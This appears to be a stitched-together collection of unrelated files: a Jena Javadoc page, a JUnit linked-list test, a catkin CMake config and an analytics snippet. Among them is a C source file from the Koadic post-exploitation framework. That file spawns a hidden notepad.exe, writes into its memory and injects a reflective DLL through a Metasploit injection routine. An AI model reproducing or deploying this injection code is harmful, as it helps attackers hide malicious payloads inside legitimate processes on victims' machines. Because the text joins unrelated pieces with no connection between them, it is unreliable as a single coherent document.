listing methods, and an explanation"> <caption><span>Methods in <a href="../../../../../../../com/hp/hpl/jena/reasoner/transitiveReasoner/package-summary.html">com.hp.hpl.jena.reasoner.transitiveReasoner</a> with parameters of type <a href="../../../../../../../com/hp/hpl/jena/rdf/model/Model.html" title="interface in com.hp.hpl.jena.rdf.model">Model</a></span><span class="tabEnd">&nbsp;</span></caption> <tr> <th class="colFirst" scope="col">Modifier and Type</th> <th class="colLast" scope="col">Method and Description</th> </tr> <tbody> <tr class="altColor"> <td class="colFirst"><code>void</code></td> <td class="colLast"><span class="strong">TransitiveReasoner.</span><code><strong><a href="../../../../../../../com/hp/hpl/jena/reasoner/transitiveReasoner/TransitiveReasoner.html#addDescription(com.hp.hpl.jena.rdf.model.Model, com.hp.hpl.jena.rdf.model.Resource)">addDescription</a></strong>(<a href="../../../../../../../com/hp/hpl/jena/rdf/model/Model.html" title="interface in com.hp.hpl.jena.rdf.model">Model</a>&nbsp;configSpec, <a href="../../../../../../../com/hp/hpl/jena/rdf/model/Resource.html" title="interface in com.hp.hpl.jena.rdf.model">Resource</a>&nbsp;base)</code> <div class="block">Add a configuration description for this reasoner into a partial configuration specification model.</div> </td> </tr> <tr class="rowColor"> <td class="colFirst"><code><a href="../../../../../../../com/hp/hpl/jena/reasoner/Reasoner.html" title="interface in com.hp.hpl.jena.reasoner">Reasoner</a></code></td> <td class="colLast"><span class="strong">TransitiveReasoner.</span><code><strong><a href="../../../../../../../com/hp/hpl/jena/reasoner/transitiveReasoner/TransitiveReasoner.html#bindSchema(com.hp.hpl.jena.rdf.model.Model)">bindSchema</a></strong>(<a href="../../../../../../../com/hp/hpl/jena/rdf/model/Model.html" title="interface in com.hp.hpl.jena.rdf.model">Model</a>&nbsp;tbox)</code> <div class="block">Extracts all of the subClass and subProperty declarations from the given schema/tbox and caches the resultant graphs.</div> </td> </tr> </tbody> </table> </li> <li class="blockList"><a name="com.hp.hpl.jena.shared"> </a> <h3>Uses of <a href="../../../../../../../com/hp/hpl/jena/rdf/model/Model.html" title="interface in com.hp.hpl.jena.rdf.model">Model</a> in <a href="../../../../../../../com/hp/hpl/jena/shared/package-summary.html">com.hp.hpl.jena.shared</a></h3> <table border="0" cellpadding="3" cellspacing="0" summary="Use table, listing fields, and an explanation"> <caption><span>Fields in <a href="../../../../../../../com/hp/hpl/jena/shared/package-summary.html">com.hp.hpl.jena.shared</a> declared as <a href="../../../../../../../com/hp/hpl/jena/rdf/model/Model.html" title="interface in com.hp.hpl.jena.rdf.model">Model</a></span><span class="tabEnd">&nbsp;</span></caption> <tr> <th class="colFirst" scope="col">Modifier and Type</th> <th class="colLast" scope="col">Field and Description</th> </tr> <tbody> <tr class="altColor"> <td class="colFirst"><code><a href="../../../../../../../com/hp/hpl/jena/rdf/model/Model.html" title="interface in com.hp.hpl.jena.rdf.model">Model</a></code></td> <td class="colLast"><span class="strong"><API key>.</span><code><strong><a href="../../../../../../../com/hp/hpl/jena/shared/<API key>.html#badModel">badModel</a></strong></code>&nbsp;</td> </tr> </tbody> </table> <table border="0" cellpadding="3" cellspacing="0" summary="Use table, listing methods, and an explanation"> <caption><span>Methods in <a href="../../../../../../../com/hp/hpl/jena/shared/package-summary.html">com.hp.hpl.jena.shared</a> that return <a href="../../../../../../../com/hp/hpl/jena/rdf/model/Model.html" title="interface in com.hp.hpl.jena.rdf.model">Model</a></span><span class="tabEnd">&nbsp;</span></caption> <tr> <th class="colFirst" scope="col">Modifier and Type</th> <th class="colLast" scope="col">Method and Description</th> </tr> <tbody> <tr class="altColor"> <td class="colFirst"><code>static <a href="../../../../../../../com/hp/hpl/jena/rdf/model/Model.html" title="interface in com.hp.hpl.jena.rdf.model">Model</a></code></td> <td class="colLast"><span class="strong">RandomOrderGraph.</span><code><strong><a href="../../../../../../../com/hp/hpl/jena/shared/RandomOrderGraph.html#createDefaultModel()">createDefaultModel</a></strong>()</code>&nbsp;</td> </tr> </tbody> </table> <table border="0" cellpadding="3" cellspacing="0" summary="Use table, listing constructors, and an explanation"> <caption><span>Constructors in <a href="../../../../../../../com/hp/hpl/jena/shared/package-summary.html">com.hp.hpl.jena.shared</a> with parameters of type <a href="../../../../../../../com/hp/hpl/jena/rdf/model/Model.html" title="interface in com.hp.hpl.jena.rdf.model">Model</a></span><span class="tabEnd">&nbsp;</span></caption> <tr> <th class="colOne" scope="col">Constructor and Description</th> </tr> <tbody> <tr class="altColor"> <td class="colLast"><code><strong><a href="../../../../../../../com/hp/hpl/jena/shared/<API key>.html <a href="../../../../../../../com/hp/hpl/jena/rdf/model/Model.html" title="interface in com.hp.hpl.jena.rdf.model">Model</a>&nbsp;badModel)</code>&nbsp;</td> </tr> <tr class="rowColor"> <td class="colLast"><code><strong><a href="../../../../../../../com/hp/hpl/jena/shared/<API key>.html#<API key>(com.hp.hpl.jena.rdf.model.Model, com.hp.hpl.jena.rdf.model.Resource)"><API key></a></strong>(<a href="../../../../../../../com/hp/hpl/jena/rdf/model/Model.html" title="interface in com.hp.hpl.jena.rdf.model">Model</a>&nbsp;badModel, <a href="../../../../../../../com/hp/hpl/jena/rdf/model/Resource.html" title="interface in com.hp.hpl.jena.rdf.model">Resource</a>&nbsp;type)</code>&nbsp;</td> </tr> <tr class="altColor"> <td class="colLast"><code><strong><a href="../../../../../../../com/hp/hpl/jena/shared/<API key>.html#<API key>(com.hp.hpl.jena.rdf.model.Model, com.hp.hpl.jena.rdf.model.Resource)"><API key></a></strong>(<a href="../../../../../../../com/hp/hpl/jena/rdf/model/Model.html" title="interface in com.hp.hpl.jena.rdf.model">Model</a>&nbsp;badModel, <a href="../../../../../../../com/hp/hpl/jena/rdf/model/Resource.html" title="interface in com.hp.hpl.jena.rdf.model">Resource</a>&nbsp;type)</code>&nbsp;</td> </tr> </tbody> </table> </li> <li class="blockList"><a name="com.hp.hpl.jena.util"> </a> <h3>Uses of <a href="../../../../../../../com/hp/hpl/jena/rdf/model/Model.html" title="interface in com.hp.hpl.jena.rdf.model">Model</a> in <a href="../../../../../../../com/hp/hpl/jena/util/package-summary.html">com.hp.hpl.jena.util</a></h3> <table border="0" cellpadding="3" cellspacing="0" summary="Use table, listing classes, and an explanation"> <caption><span>Classes in <a href="../../../../../../../com/hp/hpl/jena/util/package-summary.html">com.hp.hpl.jena.util</a> that implement <a href="../../../../../../../com/hp/hpl/jena/rdf/model/Model.html" title="interface in com.hp.hpl.jena.rdf.model">Model</a></span><span class="tabEnd">&nbsp;</span></caption> <tr> <th class="colFirst" scope="col">Modifier and Type</th> <th class="colLast" scope="col">Class and Description</th> </tr> <tbody> <tr class="altColor"> <td class="colFirst"><code>class&nbsp;</code></td> <td class="colLast"><code><strong><a href="../../../../../../../com/hp/hpl/jena/util/MonitorModel.html" title="class in com.hp.hpl.jena.util">MonitorModel</a></strong></code> <div class="block">Model wrapper which provides normal access to an underlying model but also maintains a snapshot of the triples it was last known to contain.</div> </td> </tr> </tbody> </table> <table border="0" cellpadding="3" cellspacing="0" summary="Use table, listing methods, and an explanation"> <caption><span>Methods in <a href="../../../../../../../com/hp/hpl/jena/util/package-summary.html">com.hp.hpl.jena.util</a> that return <a href="../../../../../../../com/hp/hpl/jena/rdf/model/Model.html" title="interface in com.hp.hpl.jena.rdf.model">Model</a></span><span class="tabEnd">&nbsp;</span></caption> <tr> <th class="colFirst" scope="col">Modifier and Type</th> <th class="colLast" scope="col">Method and Description</th> </tr> <tbody> <tr class="altColor"> <td class="colFirst"><code><a href="../../../../../../../com/hp/hpl/jena/rdf/model/Model.html" title="interface in com.hp.hpl.jena.rdf.model">Model</a></code></td> <td class="colLast"><span class="strong">FileManager.</span><code><strong><a href="../../../../../../../com/hp/hpl/jena/util/FileManager.html <div class="block">Read out of the cache - return null if not in the cache</div> </td> </tr> <tr class="rowColor"> <td class="colFirst"><code><a href="../../../../../../../com/hp/hpl/jena/rdf/model/Model.html" title="interface in com.hp.hpl.jena.rdf.model">Model</a></code></td> <td class="colLast"><span class="strong">FileManager.</span><code><strong><a href="../../../../../../../com/hp/hpl/jena/util/FileManager.html <div class="block">Load a model from a file (local or remote).</div> </td> </tr> <tr class="altColor"> <td class="colFirst"><code><a href="../../../../../../../com/hp/hpl/jena/rdf/model/Model.html" title="interface in com.hp.hpl.jena.rdf.model">Model</a></code></td> <td class="colLast"><span class="strong">FileManager.</span><code><strong><a href="../../../../../../../com/hp/hpl/jena/util/FileManager.html <a href="http://docs.oracle.com/javase/6/docs/api/java/lang/String.html?is-external=true" title="class or interface in java.lang">String</a>&nbsp;rdfSyntax)</code> <div class="block">Load a model from a file (local or remote).</div> </td> </tr> <tr class="rowColor"> <td class="colFirst"><code><a href="../../../../../../../com/hp/hpl/jena/rdf/model/Model.html" title="interface in com.hp.hpl.jena.rdf.model">Model</a></code></td> <td class="colLast"><span class="strong">FileManager.</span><code><strong><a href="../../../../../../../com/hp/hpl/jena/util/FileManager.html <a href="http://docs.oracle.com/javase/6/docs/api/java/lang/String.html?is-external=true" title="class or interface in java.lang">String</a>&nbsp;baseURI, <a href="http://docs.oracle.com/javase/6/docs/api/java/lang/String.html?is-external=true" title="class or interface in java.lang">String</a>&nbsp;rdfSyntax)</code> <div class="block">Load a model from a file (local or remote).</div> </td> </tr> <tr class="altColor"> <td class="colFirst"><code>static <a href="../../../../../../../com/hp/hpl/jena/rdf/model/Model.html" title="interface in com.hp.hpl.jena.rdf.model">Model</a></code></td> <td class="colLast"><span class="strong">ResourceUtils.</span><code><strong><a href="../../../../../../../com/hp/hpl/jena/util/ResourceUtils.html#reachableClosure(com.hp.hpl.jena.rdf.model.Resource)">reachableClosure</a></strong>(<a href="../../../../../../../com/hp/hpl/jena/rdf/model/Resource.html" title="interface in com.hp.hpl.jena.rdf.model">Resource</a>&nbsp;root)</code> <div class="block">Answer a model that contains all of the resources reachable from a given resource by any property, transitively.</div> </td> </tr> <tr class="rowColor"> <td class="colFirst"><code><a href="../../../../../../../com/hp/hpl/jena/rdf/model/Model.html" title="interface in com.hp.hpl.jena.rdf.model">Model</a></code></td> <td class="colLast"><span class="strong">FileManager.</span><code><strong><a href="../../../../../../../com/hp/hpl/jena/util/FileManager.html#readModel(com.hp.hpl.jena.rdf.model.Model, java.lang.String)">readModel</a></strong>(<a href="../../../../../../../com/hp/hpl/jena/rdf/model/Model.html" title="interface in com.hp.hpl.jena.rdf.model">Model</a>&nbsp;model, <a href="http://docs.oracle.com/javase/6/docs/api/java/lang/String.html?is-external=true" title="class or interface in java.lang">String</a>&nbsp;filenameOrURI)</code> <div class="block">Read a file of RDF into a model.</div> </td> </tr> <tr class="altColor"> <td class="colFirst"><code><a href="../../../../../../../com/hp/hpl/jena/rdf/model/Model.html" title="interface in com.hp.hpl.jena.rdf.model">Model</a></code></td> <td class="colLast"><span class="strong">FileManager.</span><code><strong><a href="../../../../../../../com/hp/hpl/jena/util/FileManager.html#readModel(com.hp.hpl.jena.rdf.model.Model, java.lang.String, java.lang.String)">readModel</a></strong>(<a href="../../../../../../../com/hp/hpl/jena/rdf/model/Model.html" title="interface in com.hp.hpl.jena.rdf.model">Model</a>&nbsp;model, <a href="http://docs.oracle.com/javase/6/docs/api/java/lang/String.html?is-external=true" title="class or interface in java.lang">String</a>&nbsp;filenameOrURI, <a href="http://docs.oracle.com/javase/6/docs/api/java/lang/String.html?is-external=true" title="class or interface in java.lang">String</a>&nbsp;rdfSyntax)</code> <div class="block">Read a file of RDF into a model.</div> </td> </tr> <tr class="rowColor"> <td class="colFirst"><code><a href="../../../../../../../com/hp/hpl/jena/rdf/model/Model.html" title="interface in com.hp.hpl.jena.rdf.model">Model</a></code></td> <td class="colLast"><span class="strong">FileManager.</span><code><strong><a href="../../../../../../../com/hp/hpl/jena/util/FileManager.html#readModel(com.hp.hpl.jena.rdf.model.Model, java.lang.String, java.lang.String, java.lang.String)">readModel</a></strong>(<a href="../../../../../../../com/hp/hpl/jena/rdf/model/Model.html" title="interface in com.hp.hpl.jena.rdf.model">Model</a>&nbsp;model, <a href="http://docs.oracle.com/javase/6/docs/api/java/lang/String.html?is-external=true" title="class or interface in java.lang">String</a>&nbsp;filenameOrURI, <a href="http://docs.oracle.com/javase/6/docs/api/java/lang/String.html?is-external=true" title="class or interface in java.lang">String</a>&nbsp;baseURI, <a href="http://docs.oracle.com/javase/6/docs/api/java/lang/String.html?is-external=true" title="class or interface in java.lang">String</a>&nbsp;syntax)</code> <div class="block">Read a file of RDF into a model.</div> </td> </tr> <tr class="altColor"> <td class="colFirst"><code><a href="../../../../../../../com/hp/hpl/jena/rdf/model/Model.html" title="interface in com.hp.hpl.jena.rdf.model">Model</a></code></td> <td class="colLast"><span class="strong">LocationMapper.</span><code><strong><a href="../../../../../../../com/hp/hpl/jena/util/LocationMapper.html#toModel()">toModel</a></strong>()</code>&nbsp;</td> </tr> </tbody> </table> <table border="0" cellpadding="3" cellspacing="0" summary="Use table, listing methods, and an explanation"> <caption><span>Methods in <a href="../../../../../../../com/hp/hpl/jena/util/package-summary.html">com.hp.hpl.jena.util</a> with parameters of type <a href="../../../../../../../com/hp/hpl/jena/rdf/model/Model.html" title="interface in com.hp.hpl.jena.rdf.model">Model</a></span><span class="tabEnd">&nbsp;</span></caption> <tr> <th class="colFirst" scope="col">Modifier and Type</th> <th class="colLast" scope="col">Method and Description</th> </tr> <tbody> <tr class="altColor"> <td class="colFirst"><code>void</code></td> <td class="colLast"><span class="strong">FileManager.</span><code><strong><a href="../../../../../../../com/hp/hpl/jena/util/FileManager.html <a href="../../../../../../../com/hp/hpl/jena/rdf/model/Model.html" title="interface in com.hp.hpl.jena.rdf.model">Model</a>&nbsp;m)</code>&nbsp;</td> </tr> <tr class="rowColor"> <td class="colFirst"><code>void</code></td> <td class="colLast"><span class="strong">LocationMapper.</span><code><strong><a href="../../../../../../../com/hp/hpl/jena/util/LocationMapper.html#processConfig(com.hp.hpl.jena.rdf.model.Model)">processConfig</a></strong>(<a href="../../../../../../../com/hp/hpl/jena/rdf/model/Model.html" title="interface in com.hp.hpl.jena.rdf.model">Model</a>&nbsp;m)</code>&nbsp;</td> </tr> <tr class="altColor"> <td class="colFirst"><code><a href="../../../../../../../com/hp/hpl/jena/rdf/model/Model.html" title="interface in com.hp.hpl.jena.rdf.model">Model</a></code></td> <td class="colLast"><span class="strong">FileManager.</span><code><strong><a href="../../../../../../../com/hp/hpl/jena/util/FileManager.html#readModel(com.hp.hpl.jena.rdf.model.Model, java.lang.String)">readModel</a></strong>(<a href="../../../../../../../com/hp/hpl/jena/rdf/model/Model.html" title="interface in com.hp.hpl.jena.rdf.model">Model</a>&nbsp;model, <a href="http://docs.oracle.com/javase/6/docs/api/java/lang/String.html?is-external=true" title="class or interface in java.lang">String</a>&nbsp;filenameOrURI)</code> <div class="block">Read a file of RDF into a model.</div> </td> </tr> <tr class="rowColor"> <td class="colFirst"><code><a href="../../../../../../../com/hp/hpl/jena/rdf/model/Model.html" title="interface in com.hp.hpl.jena.rdf.model">Model</a></code></td> <td class="colLast"><span class="strong">FileManager.</span><code><strong><a href="../../../../../../../com/hp/hpl/jena/util/FileManager.html#readModel(com.hp.hpl.jena.rdf.model.Model, java.lang.String, java.lang.String)">readModel</a></strong>(<a href="../../../../../../../com/hp/hpl/jena/rdf/model/Model.html" title="interface in com.hp.hpl.jena.rdf.model">Model</a>&nbsp;model, <a href="http://docs.oracle.com/javase/6/docs/api/java/lang/String.html?is-external=true" title="class or interface in java.lang">String</a>&nbsp;filenameOrURI, <a href="http://docs.oracle.com/javase/6/docs/api/java/lang/String.html?is-external=true" title="class or interface in java.lang">String</a>&nbsp;rdfSyntax)</code> <div class="block">Read a file of RDF into a model.</div> </td> </tr> <tr class="altColor"> <td class="colFirst"><code><a href="../../../../../../../com/hp/hpl/jena/rdf/model/Model.html" title="interface in com.hp.hpl.jena.rdf.model">Model</a></code></td> <td class="colLast"><span class="strong">FileManager.</span><code><strong><a href="../../../../../../../com/hp/hpl/jena/util/FileManager.html#readModel(com.hp.hpl.jena.rdf.model.Model, java.lang.String, java.lang.String, java.lang.String)">readModel</a></strong>(<a href="../../../../../../../com/hp/hpl/jena/rdf/model/Model.html" title="interface in com.hp.hpl.jena.rdf.model">Model</a>&nbsp;model, <a href="http://docs.oracle.com/javase/6/docs/api/java/lang/String.html?is-external=true" title="class or interface in java.lang">String</a>&nbsp;filenameOrURI, <a href="http://docs.oracle.com/javase/6/docs/api/java/lang/String.html?is-external=true" title="class or interface in java.lang">String</a>&nbsp;baseURI, <a href="http://docs.oracle.com/javase/6/docs/api/java/lang/String.html?is-external=true" title="class or interface in java.lang">String</a>&nbsp;syntax)</code> <div class="block">Read a file of RDF into a model.</div> </td> </tr> <tr class="rowColor"> <td class="colFirst"><code>void</code></td> <td class="colLast"><span class="strong">LocationMapper.</span><code><strong><a href="../../../../../../../com/hp/hpl/jena/util/LocationMapper.html#toModel(com.hp.hpl.jena.rdf.model.Model)">toModel</a></strong>(<a href="../../../../../../../com/hp/hpl/jena/rdf/model/Model.html" title="interface in com.hp.hpl.jena.rdf.model">Model</a>&nbsp;model)</code>&nbsp;</td> </tr> </tbody> </table> <table border="0" cellpadding="3" cellspacing="0" summary="Use table, listing constructors, and an explanation"> <caption><span>Constructors in <a href="../../../../../../../com/hp/hpl/jena/util/package-summary.html">com.hp.hpl.jena.util</a> with parameters of type <a href="../../../../../../../com/hp/hpl/jena/rdf/model/Model.html" title="interface in com.hp.hpl.jena.rdf.model">Model</a></span><span class="tabEnd">&nbsp;</span></caption> <tr> <th class="colOne" scope="col">Constructor and Description</th> </tr> <tbody> <tr class="altColor"> <td class="colLast"><code><strong><a href="../../../../../../../com/hp/hpl/jena/util/LocationMapper.html#LocationMapper(com.hp.hpl.jena.rdf.model.Model)">LocationMapper</a></strong>(<a href="../../../../../../../com/hp/hpl/jena/rdf/model/Model.html" title="interface in com.hp.hpl.jena.rdf.model">Model</a>&nbsp;model)</code> <div class="block">Create a LocationMapper from an existing model</div> </td> </tr> <tr class="rowColor"> <td class="colLast"><code><strong><a href="../../../../../../../com/hp/hpl/jena/util/MonitorModel.html#MonitorModel(com.hp.hpl.jena.rdf.model.Model)">MonitorModel</a></strong>(<a href="../../../../../../../com/hp/hpl/jena/rdf/model/Model.html" title="interface in com.hp.hpl.jena.rdf.model">Model</a>&nbsp;base)</code> <div class="block">Create a monitor over the given underlying base model.</div> </td> </tr> </tbody> </table> </li> </ul> </li> </ul> </div> <div class="bottomNav"><a name="navbar_bottom"> </a><a href="#skip-navbar_bottom" title="Skip navigation links"></a><a name="<API key>"> </a> <ul class="navList" title="Navigation"> <li><a href="../../../../../../../overview-summary.html">Overview</a></li> <li><a href="../package-summary.html">Package</a></li> <li><a href="../../../../../../../com/hp/hpl/jena/rdf/model/Model.html" title="interface in com.hp.hpl.jena.rdf.model">Class</a></li> <li class="navBarCell1Rev">Use</li> <li><a href="../package-tree.html">Tree</a></li> <li><a href="../../../../../../../deprecated-list.html">Deprecated</a></li> <li><a href="../../../../../../../index-all.html">Index</a></li> <li><a href="../../../../../../../help-doc.html">Help</a></li> </ul> </div> <div class="subNav"> <ul class="navList"> <li>Prev</li> <li>Next</li> </ul> <ul class="navList"> <li><a href="../../../../../../../index.html?com/hp/hpl/jena/rdf/model/class-use/Model.html" target="_top">Frames</a></li> <li><a href="Model.html" target="_top">No Frames</a></li> </ul> <ul class="navList" id="<API key>"> <li><a href="../../../../../../../allclasses-noframe.html">All Classes</a></li> </ul> <div> <script type="text/javascript"><! allClassesLink = document.getElementById("<API key>"); if(window==top) { allClassesLink.style.display = "block"; } else { allClassesLink.style.display = "none"; } </script> </div> <a name="skip-navbar_bottom"> </a></div> <p class="legalCopy"><small>Licenced under the Apache License, Version 2.0</small></p> </body> </html>
package com.ctci.list; import java.util.Set; import org.junit.After; import org.junit.Assert; import org.junit.Before; import org.junit.Test; import com.leetcode.list.ListNode; import com.leetcode.list.Util; public class <API key> { private RemoveDuplicates obj = null; private Util util = new Util(); @Before public void setup() { this.obj = new RemoveDuplicates(); } @After public void teardown() { this.obj = null; } @Test public void testNull() { ListNode head = obj.removeDuplicates(null); Assert.assertNull(head); } @Test public void testSingleNode() { ListNode head = util.makeList(new int[] {42}); ListNode newHead = obj.removeDuplicates(head); Assert.assertEquals(util.listLen(head), util.listLen(newHead)); } @Test public void testNoDuplicates() { ListNode head = util.makeList(new int[] {7, 2, 5, 1, 8, 9, 10, 3}); ListNode newHead = obj.removeDuplicates(head); Assert.assertEquals(util.listLen(head), util.listLen(newHead)); } @Test public void testAllDuplicates() { ListNode head = util.makeList(new int[] {4, 4, 4, 4, 4, 4, 4, 4, 4}); int origLen = util.listLen(head); ListNode newHead = obj.removeDuplicates(head); Assert.assertNotEquals(origLen, util.listLen(newHead)); Assert.assertEquals(1, util.listLen(newHead)); } @Test public void testWithValues() { ListNode head = util.makeList(new int[] {1, 2, 1, 3, 4, 4, 0, 6, 1, 7, 8}); int origLen = util.listLen(head); ListNode newHead = obj.removeDuplicates(head); Set<Integer> origValues = util.toSet(head); Set<Integer> newValues = util.toSet(newHead); Assert.assertEquals(origValues, newValues); Assert.assertEquals(newValues.size(), util.listLen(newHead)); Assert.assertNotEquals(origLen, util.listLen(newHead)); } }
# generated from catkin/cmake/template/pkgConfig.cmake.in # append elements to a list and remove existing duplicates from the list # copied from catkin/cmake/<API key>.cmake to keep pkgConfig # self contained macro(<API key> listname) if(NOT "${ARGN}" STREQUAL "") if(${listname}) list(REMOVE_ITEM ${listname} ${ARGN}) endif() list(APPEND ${listname} ${ARGN}) endif() endmacro() # append elements to a list if they are not already in the list # copied from catkin/cmake/list_append_unique.cmake to keep pkgConfig # self contained macro(_list_append_unique listname) foreach(_item ${ARGN}) list(FIND ${listname} ${_item} _index) if(_index EQUAL -1) list(APPEND ${listname} ${_item}) endif() endforeach() endmacro() # pack a list of libraries with optional build configuration keywords # copied from catkin/cmake/catkin_libraries.cmake to keep pkgConfig # self contained macro(<API key> VAR) set(${VAR} "") set(_argn ${ARGN}) list(LENGTH _argn _count) set(_index 0) while(${_index} LESS ${_count}) list(GET _argn ${_index} lib) if("${lib}" MATCHES "^(debug|optimized|general)$") math(EXPR _index "${_index} + 1") if(${_index} EQUAL ${_count}) message(FATAL_ERROR "<API key>() the list of libraries '${ARGN}' ends with '${lib}' which is a build configuration keyword and must be followed by a library") endif() list(GET _argn ${_index} library) list(APPEND ${VAR} "${lib}${<API key>}${library}") else() list(APPEND ${VAR} "${lib}") endif() math(EXPR _index "${_index} + 1") endwhile() endmacro() # unpack a list of libraries with optional build configuration keyword prefixes # copied from catkin/cmake/catkin_libraries.cmake to keep pkgConfig # self contained macro(<API key> VAR) set(${VAR} "") foreach(lib ${ARGN}) string(REGEX REPLACE "^(debug|optimized|general)${<API key>}(.+)$" "\\1;\\2" lib "${lib}") list(APPEND ${VAR} "${lib}") endforeach() endmacro() if(<API key>) return() endif() set(<API key> TRUE) # set variables for source/devel/install prefixes if("TRUE" STREQUAL "TRUE") set(<API key> /home/us-robot/catkin_ws/src/ur5-master/<API key>/ur_bringup) set(<API key> /home/us-robot/catkin_ws/devel) set(<API key> "") set(ur_bringup_PREFIX ${<API key>}) else() set(<API key> "") set(<API key> "") set(<API key> /home/us-robot/catkin_ws/install) set(ur_bringup_PREFIX ${<API key>}) endif() # warn when using a deprecated package if(NOT "" STREQUAL "") set(_msg "WARNING: package 'ur_bringup' is deprecated") # append custom deprecation text if available if(NOT "" STREQUAL "TRUE") set(_msg "${_msg} ()") endif() message("${_msg}") endif() # flag project as catkin-based to distinguish if a find_package()-ed project is a catkin project set(<API key> TRUE) if(NOT " " STREQUAL " ") set(<API key> "") set(_include_dirs "") foreach(idir ${_include_dirs}) if(IS_ABSOLUTE ${idir} AND IS_DIRECTORY ${idir}) set(include ${idir}) elseif("${idir} " STREQUAL "include ") <API key>(include "${ur_bringup_DIR}/../../../include" ABSOLUTE) if(NOT IS_DIRECTORY ${include}) message(FATAL_ERROR "Project 'ur_bringup' specifies '${idir}' as an include dir, which is not found. It does not exist in '${include}'. Ask the maintainer 'Felix Messmer <fxm@ipa.fhg.de>, G.A. vd. Hoorn <g.a.vanderhoorn@tudelft.nl>' to fix it.") endif() else() message(FATAL_ERROR "Project 'ur_bringup' specifies '${idir}' as an include dir, which is not found. It does neither exist as an absolute directory nor in '/home/us-robot/catkin_ws/src/ur5-master/<API key>/ur_bringup/${idir}'. Ask the maintainer 'Felix Messmer <fxm@ipa.fhg.de>, G.A. vd. Hoorn <g.a.vanderhoorn@tudelft.nl>' to fix it.") endif() _list_append_unique(<API key> ${include}) endforeach() endif() set(libraries "") foreach(library ${libraries}) # keep build configuration keywords, target names and absolute libraries as-is if("${library}" MATCHES "^(debug|optimized|general)$") list(APPEND <API key> ${library}) elseif(TARGET ${library}) list(APPEND <API key> ${library}) elseif(IS_ABSOLUTE ${library}) list(APPEND <API key> ${library}) else() set(lib_path "") set(lib "${library}-NOTFOUND") # since the path where the library is found is returned we have to iterate over the paths manually foreach(path /home/us-robot/catkin_ws/devel/lib;/home/us-robot/catkin_ws/devel/lib;/opt/ros/kinetic/lib) find_library(lib ${library} PATHS ${path} NO_DEFAULT_PATH <API key>) if(lib) set(lib_path ${path}) break() endif() endforeach() if(lib) _list_append_unique(<API key> ${lib_path}) list(APPEND <API key> ${lib}) else() # as a fall back for non-catkin libraries try to search globally find_library(lib ${library}) if(NOT lib) message(FATAL_ERROR "Project '${PROJECT_NAME}' tried to find library '${library}'. The library is neither a target nor built/installed properly. Did you compile project 'ur_bringup'? Did you find_package() it before the subdirectory containing its code is included?") endif() list(APPEND <API key> ${lib}) endif() endif() endforeach() set(<API key> "") # create dummy targets for exported code generation targets to make life of users easier foreach(t ${<API key>}) if(NOT TARGET ${t}) add_custom_target(${t}) endif() endforeach() set(depends "") foreach(depend ${depends}) string(REPLACE " " ";" depend_list ${depend}) # the package name of the dependency must be kept in a unique variable so that it is not overwritten in recursive calls list(GET depend_list 0 ur_bringup_dep) list(LENGTH depend_list count) if(${count} EQUAL 1) # simple dependencies must only be find_package()-ed once if(NOT ${ur_bringup_dep}_FOUND) find_package(${ur_bringup_dep} REQUIRED NO_MODULE) endif() else() # dependencies with components must be find_package()-ed again list(REMOVE_AT depend_list 0) find_package(${ur_bringup_dep} REQUIRED NO_MODULE ${depend_list}) endif() _list_append_unique(<API key> ${${ur_bringup_dep}_INCLUDE_DIRS}) # merge build configuration keywords with library names to correctly deduplicate <API key>(<API key> ${<API key>}) <API key>(_libraries ${${ur_bringup_dep}_LIBRARIES}) <API key>(<API key> ${_libraries}) # undo build configuration keyword merging after deduplication <API key>(<API key> ${<API key>}) _list_append_unique(<API key> ${${ur_bringup_dep}_LIBRARY_DIRS}) list(APPEND <API key> ${${ur_bringup_dep}_EXPORTED_TARGETS}) endforeach() set(pkg_cfg_extras "") foreach(extra ${pkg_cfg_extras}) if(NOT IS_ABSOLUTE ${extra}) set(extra ${ur_bringup_DIR}/${extra}) endif() include(${extra}) endforeach()
#include "koadic_process.h" #include "metasploit/metasploit_inject.h" #include <stdio.h> BOOL <API key>(LPCSTR program, LPDWORD dwPID) { STARTUPINFO si = { 0 }; PROCESS_INFORMATION pi = { 0 }; char notepad[MAX_PATH] = { 0 }; char system32[MAX_PATH] = { 0 }; /* Get x64 notepad.exe */ <API key>(system32, sizeof(system32)); sprintf_s(notepad, sizeof(notepad), "\"%s\\sysnative\\%s\"", system32, program); si.cb = sizeof(si); si.dwFlags = <API key>; if (!CreateProcessA(NULL, notepad, NULL, NULL, FALSE, CREATE_NO_WINDOW, NULL, NULL, &si, &pi)) return FALSE; *dwPID = pi.dwProcessId; return TRUE; } BOOL koadic_fork_x64(koadic_shim_parsed *parsed, LPWSTR lpParam, char *data, DWORD dwDataSize) { BOOL ret = FALSE; DWORD dwPID = 0; DWORD dwAccess = <API key> | <API key> | <API key> | PROCESS_VM_WRITE | PROCESS_VM_READ; HANDLE hProcess = NULL; LPVOID remoteDLLPtr = NULL; SIZE_T dwBytesWritten = 0; LPVOID remoteShimStr = NULL; SIZE_T remoteShimStrLen = wcslen(lpParam) * 2 + 2; do { if (!<API key>("notepad.exe", &dwPID)) break; hProcess = OpenProcess(dwAccess, FALSE, dwPID); if (!hProcess) return FALSE; remoteShimStr = VirtualAllocEx(hProcess, NULL, remoteShimStrLen, MEM_COMMIT | MEM_RESERVE, <API key>); //remoteDLLPtr = VirtualAllocEx(hProcess, NULL, dwDataSize, MEM_RESERVE | MEM_COMMIT, <API key>); // write the Shim string if (!WriteProcessMemory(hProcess, remoteShimStr, lpParam, remoteShimStrLen, NULL)) break; // write the reflective DLL //if (!WriteProcessMemory(hProcess, remoteDLLPtr, (LPCVOID)data, dwDataSize, &dwBytesWritten)) //break; if (inject_dll(dwPID, data, dwDataSize, 7656, remoteShimStr) != ERROR_SUCCESS) break; /* if (dwBytesWritten != dwDataSize) break; <API key> lpReflectiveLoader = NULL; HANDLE hThread = NULL; DWORD <API key> = 0; DWORD dwThreadId = 0; // get offset lpReflectiveLoader = (<API key>)((ULONG_PTR)remoteDLLPtr + <API key>); // create a remote thread in the host process to call the ReflectiveLoader! hThread = CreateRemoteThread(hProcess, NULL, 1024 * 1024, lpReflectiveLoader, remoteShimStr, (DWORD)NULL, &dwThreadId); */ ret = TRUE; } while (0); if (hProcess) CloseHandle(hProcess); return ret; }
<script> (function(i,s,o,g,r,a,m){i['<API key>']=r;i[r]=i[r]||function(){ (i[r].q=i[r].q||[]).push(arguments)},i[r].l=1*new Date();a=s.createElement(o), m=s.<API key>(o)[0];a.async=1;a.src=g;m.parentNode.insertBefore(a,m) })(window,document,'script','https: ga('create', 'UA-90002874-1', 'auto'); ga('send', 'pageview'); </script>
